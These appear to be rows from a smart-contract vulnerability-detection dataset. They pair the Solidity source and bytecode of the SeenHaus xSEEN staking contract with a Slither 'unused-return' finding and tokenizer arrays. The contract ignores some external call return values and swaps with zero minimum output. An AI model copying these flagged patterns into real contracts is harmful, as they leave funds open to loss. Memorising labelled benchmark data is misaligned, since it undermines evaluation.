} | 0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102cb60279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b60606001600160a01b0384163b61019d5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101b8919061024b565b600060405180830381855af49150503d80600081146101f3576040519150601f19603f3d011682016040523d82523d6000602084013e6101f8565b606091505b5091509150610208828286610212565b9695505050505050565b60608315610221575081610105565b8251156102315782518084602001fd5b8160405162461bcd60e51b81526004016101949190610267565b6000825161025d81846020870161029a565b9190910192915050565b602081526000825180602084015261028681604085016020870161029a565b601f01601f19169190910160400192915050565b60005b838110156102b557818101518382015260200161029d565b838111156102c4576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220df21fad60bb7810d1f7ac583b2ec93fa2dc0354ca141183b3548a9ba10b20f3864736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
24087,
23352,
21619,
2546,
2581,
2620,
22025,
2050,
28756,
2278,
2692,
14142,
2063,
21926,
2683,
22610,
6679,
2683,
2487,
2278,
2620,
26337,
2278,
2487,
2050,
24087,
16576,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1013,
1013,
1030,
2516,
1024,
8075,
1013,
1013,
1013,
1030,
3166,
1024,
19726,
1012,
1060,
2100,
2480,
12324,
1000,
1012,
1013,
9413,
2278,
2581,
17465,
16748,
8844,
1012,
14017,
1000,
1025,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,559 | 0x95575e0a107f7244d5855728b5f979b3d80b0a67 | // SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract GovERC20 {
/// @notice EIP-20 token name for this token
string public constant name = "SeenHaus Governance";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "xSEEN";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
uint public totalSupply;
mapping (address => mapping (address => uint96)) internal allowances;
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == type(uint256).max) {
amount = type(uint96).max;
} else {
amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "Comp::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != type(uint96).max) {
uint96 newAllowance = sub96(spenderAllowance, amount, "Comp::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
function _mint(address account, uint amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0));
totalSupply += amount;
balances[account] += uint96(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account);
require(balances[account] >= uint96(amount), "ERC20: burn amount exceeds balance");
balances[account] -= uint96(amount);
totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Comp::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "Comp::delegateBySig: invalid nonce");
require(block.timestamp <= expiry, "Comp::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "Comp::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "Comp::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "Comp::_transferTokens: cannot transfer to the zero address");
_beforeTokenTransfer(src);
balances[src] = sub96(balances[src], amount, "Comp::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "Comp::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "Comp::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "Comp::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "Comp::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal view returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
function _beforeTokenTransfer(address from) internal virtual { }
}
interface IWETH {
function deposit() external payable;
}
interface Sushiswap {
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
}
contract SeenHaus is GovERC20(){
address public constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address public constant sushiswap = 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F;
IERC20 public constant seen = IERC20(0xCa3FE04C7Ee111F0bbb02C328c699226aCf9Fd33);
// accounts balances are locked for 3 days after entering
mapping(address => uint256) locked;
constructor() {
IERC20(weth).approve(sushiswap, type(uint256).max);
}
function _beforeTokenTransfer(address from) internal view override {
require(locked[from] <= block.timestamp, "transfer:too soon after minting");
}
// Enter the haus. Pay some SEENs. Earn some shares.
function enter(uint256 _amount) public {
uint256 totalSeen = seen.balanceOf(address(this));
uint256 totalShares = totalSupply;
locked[msg.sender] = block.timestamp + 3 days;
if (totalShares == 0 || totalSeen == 0) {
_mint(msg.sender, _amount);
} else {
uint256 what = _amount * totalShares / totalSeen;
_mint(msg.sender, what);
}
seen.transferFrom(msg.sender, address(this), _amount);
}
// Leave the haus. Claim back your SEENs.
function leave(uint256 _share) public {
uint256 totalShares = totalSupply;
uint256 what = _share * seen.balanceOf(address(this)) / totalShares;
_burn(msg.sender, _share);
seen.transfer(msg.sender, what);
}
function swap() public {
IWETH(weth).deposit{value: address(this).balance}();
uint256 amountIn = IERC20(weth).balanceOf(address(this));
address[] memory path = new address[](2);
path[0] = weth;
path[1] = address(seen);
Sushiswap(sushiswap).swapExactTokensForTokens(
amountIn,
0,
path,
address(this),
block.timestamp
);
}
receive() external payable {}
} | 0x60806040526004361061016a5760003560e01c8063782d6fe1116100d1578063a9059cbb1161008a578063d99aa8e211610064578063d99aa8e214610583578063dd62ed3e146105ae578063e7a324dc146105eb578063f1127ed81461061657610171565b8063a9059cbb146104e0578063b4b5ea571461051d578063c3cda5201461055a57610171565b8063782d6fe1146103d05780637ecebe001461040d5780638119c0651461044a57806395d89b41146104615780639be287851461048c578063a59f3e0c146104b757610171565b80633fc8cef3116101235780633fc8cef31461029c578063587cde1e146102c75780635c19a95c1461030457806367dfd4c91461032d5780636fcfff451461035657806370a082311461039357610171565b806306fdde0314610176578063095ea7b3146101a157806318160ddd146101de57806320606b701461020957806323b872dd14610234578063313ce5671461027157610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b610654565b604051610198919061364f565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612fd4565b61068d565b6040516101d5919061352f565b60405180910390f35b3480156101ea57600080fd5b506101f361080c565b60405161020091906137b1565b60405180910390f35b34801561021557600080fd5b5061021e610812565b60405161022b919061354a565b60405180910390f35b34801561024057600080fd5b5061025b60048036038101906102569190612f85565b610836565b604051610268919061352f565b60405180910390f35b34801561027d57600080fd5b50610286610aaa565b604051610293919061386a565b60405180910390f35b3480156102a857600080fd5b506102b1610aaf565b6040516102be91906134b4565b60405180910390f35b3480156102d357600080fd5b506102ee60048036038101906102e99190612f20565b610ac7565b6040516102fb91906134b4565b60405180910390f35b34801561031057600080fd5b5061032b60048036038101906103269190612f20565b610afa565b005b34801561033957600080fd5b50610354600480360381019061034f919061313f565b610b07565b005b34801561036257600080fd5b5061037d60048036038101906103789190612f20565b610c75565b60405161038a9190613826565b60405180910390f35b34801561039f57600080fd5b506103ba60048036038101906103b59190612f20565b610c98565b6040516103c791906137b1565b60405180910390f35b3480156103dc57600080fd5b506103f760048036038101906103f29190612fd4565b610d07565b60405161040491906138a0565b60405180910390f35b34801561041957600080fd5b50610434600480360381019061042f9190612f20565b611142565b60405161044191906137b1565b60405180910390f35b34801561045657600080fd5b5061045f61115a565b005b34801561046d57600080fd5b506104766114a8565b604051610483919061364f565b60405180910390f35b34801561049857600080fd5b506104a16114e1565b6040516104ae91906134b4565b60405180910390f35b3480156104c357600080fd5b506104de60048036038101906104d9919061313f565b6114f9565b005b3480156104ec57600080fd5b5061050760048036038101906105029190612fd4565b6116e5565b604051610514919061352f565b60405180910390f35b34801561052957600080fd5b50610544600480360381019061053f9190612f20565b611722565b60405161055191906138a0565b60405180910390f35b34801561056657600080fd5b50610581600480360381019061057c9190613010565b611819565b005b34801561058f57600080fd5b50610598611adc565b6040516105a59190613634565b60405180910390f35b3480156105ba57600080fd5b506105d560048036038101906105d09190612f49565b611af4565b6040516105e291906137b1565b60405180910390f35b3480156105f757600080fd5b50610600611ba1565b60405161060d919061354a565b60405180910390f35b34801561062257600080fd5b5061063d60048036038101906106389190613099565b611bc5565b60405161064b929190613841565b60405180910390f35b6040518060400160405280601381526020017f5365656e4861757320476f7665726e616e63650000000000000000000000000081525081565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8314156106cc576bffffffffffffffffffffffff90506106f1565b6106ee8360405180606001604052806025815260200161419760259139611c1e565b90505b80600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516107f99190613885565b60405180910390a3600191505092915050565b60005481565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6000803390506000600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905060006108f98560405180606001604052806025815260200161419760259139611c1e565b90508673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561095357506bffffffffffffffffffffffff8016826bffffffffffffffffffffffff1614155b15610a9157600061097d83836040518060600160405280603d815260200161426e603d9139611c7c565b905080600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610a879190613885565b60405180910390a3505b610a9c878783611cf6565b600193505050509392505050565b601281565b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b60036020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610b0433826120e0565b50565b60008054905060008173ca3fe04c7ee111f0bbb02c328c699226acf9fd3373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610b5d91906134b4565b60206040518083038186803b158015610b7557600080fd5b505afa158015610b89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bad9190613168565b84610bb89190613ac9565b610bc29190613a67565b9050610bce33846122a0565b73ca3fe04c7ee111f0bbb02c328c699226acf9fd3373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610c1d929190613506565b602060405180830381600087803b158015610c3757600080fd5b505af1158015610c4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6f9190613116565b50505050565b60056020528060005260406000206000915054906101000a900463ffffffff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff169050919050565b6000438210610d4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d42906136d1565b60405180910390fd5b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff161415610db857600091505061113c565b82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184610e079190613b57565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff1611610ecc57600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600183610e8e9190613b57565b63ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff1691505061113c565b82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161115610f4d57600091505061113c565b600080600183610f5d9190613b57565b90505b8163ffffffff168163ffffffff1611156110be57600060028383610f849190613b57565b610f8e9190613a98565b82610f999190613b57565b90506000600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020016000820160049054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff166bffffffffffffffffffffffff1681525050905086816000015163ffffffff16141561108d5780602001519550505050505061113c565b86816000015163ffffffff1610156110a7578193506110b7565b6001826110b49190613b57565b92505b5050610f60565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff1693505050505b92915050565b60066020528060005260406000206000915090505481565b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc273ffffffffffffffffffffffffffffffffffffffff1663d0e30db0476040518263ffffffff1660e01b81526004016000604051808303818588803b1580156111b657600080fd5b505af11580156111ca573d6000803e3d6000fd5b5050505050600073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161121e91906134b4565b60206040518083038186803b15801561123657600080fd5b505afa15801561124a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061126e9190613168565b90506000600267ffffffffffffffff8111156112b3577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156112e15781602001602082028036833780820191505090505b50905073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281600081518110611333577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505073ca3fe04c7ee111f0bbb02c328c699226acf9fd33816001815181106113bc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505073d9e1ce17f2641f24ae83637ab66a2cca9c378b9f73ffffffffffffffffffffffffffffffffffffffff166338ed17398360008430426040518663ffffffff1660e01b815260040161144c9594939291906137cc565b600060405180830381600087803b15801561146657600080fd5b505af115801561147a573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906114a391906130d5565b505050565b6040518060400160405280600581526020017f785345454e00000000000000000000000000000000000000000000000000000081525081565b73d9e1ce17f2641f24ae83637ab66a2cca9c378b9f81565b600073ca3fe04c7ee111f0bbb02c328c699226acf9fd3373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161154891906134b4565b60206040518083038186803b15801561156057600080fd5b505afa158015611574573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115989190613168565b90506000805490506203f480426115af9190613995565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008114806116015750600082145b156116155761161033846124e5565b61163c565b60008282856116249190613ac9565b61162e9190613a67565b905061163a33826124e5565b505b73ca3fe04c7ee111f0bbb02c328c699226acf9fd3373ffffffffffffffffffffffffffffffffffffffff166323b872dd3330866040518463ffffffff1660e01b815260040161168d939291906134cf565b602060405180830381600087803b1580156116a757600080fd5b505af11580156116bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116df9190613116565b50505050565b60008061170a836040518060600160405280602681526020016141bc60269139611c1e565b9050611717338583611cf6565b600191505092915050565b600080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff161161178c576000611811565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001836117da9190613b57565b63ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b915050919050565b60007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8666040518060400160405280601381526020017f5365656e4861757320476f7665726e616e63650000000000000000000000000081525080519060200120611881612675565b3060405160200161189594939291906135aa565b60405160208183030381529060405280519060200120905060007fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf8888886040516020016118e69493929190613565565b6040516020818303038152906040528051906020012090506000828260405160200161191392919061347d565b60405160208183030381529060405280519060200120905060006001828888886040516000815260200160405260405161195094939291906135ef565b6020604051602081039080840390855afa158015611972573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156119ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e590613691565b60405180910390fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611a3e90613cf2565b919050558914611a83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7a906136f1565b60405180910390fd5b87421115611ac6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611abd906136b1565b60405180910390fd5b611ad0818b6120e0565b50505050505050505050565b73ca3fe04c7ee111f0bbb02c328c699226acf9fd3381565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff16905092915050565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b6004602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060000160049054906101000a90046bffffffffffffffffffffffff16905082565b60006c0100000000000000000000000083108290611c72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c69919061364f565b60405180910390fd5b5082905092915050565b6000836bffffffffffffffffffffffff16836bffffffffffffffffffffffff1611158290611ce0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd7919061364f565b60405180910390fd5b508284611ced9190613b8b565b90509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373fffff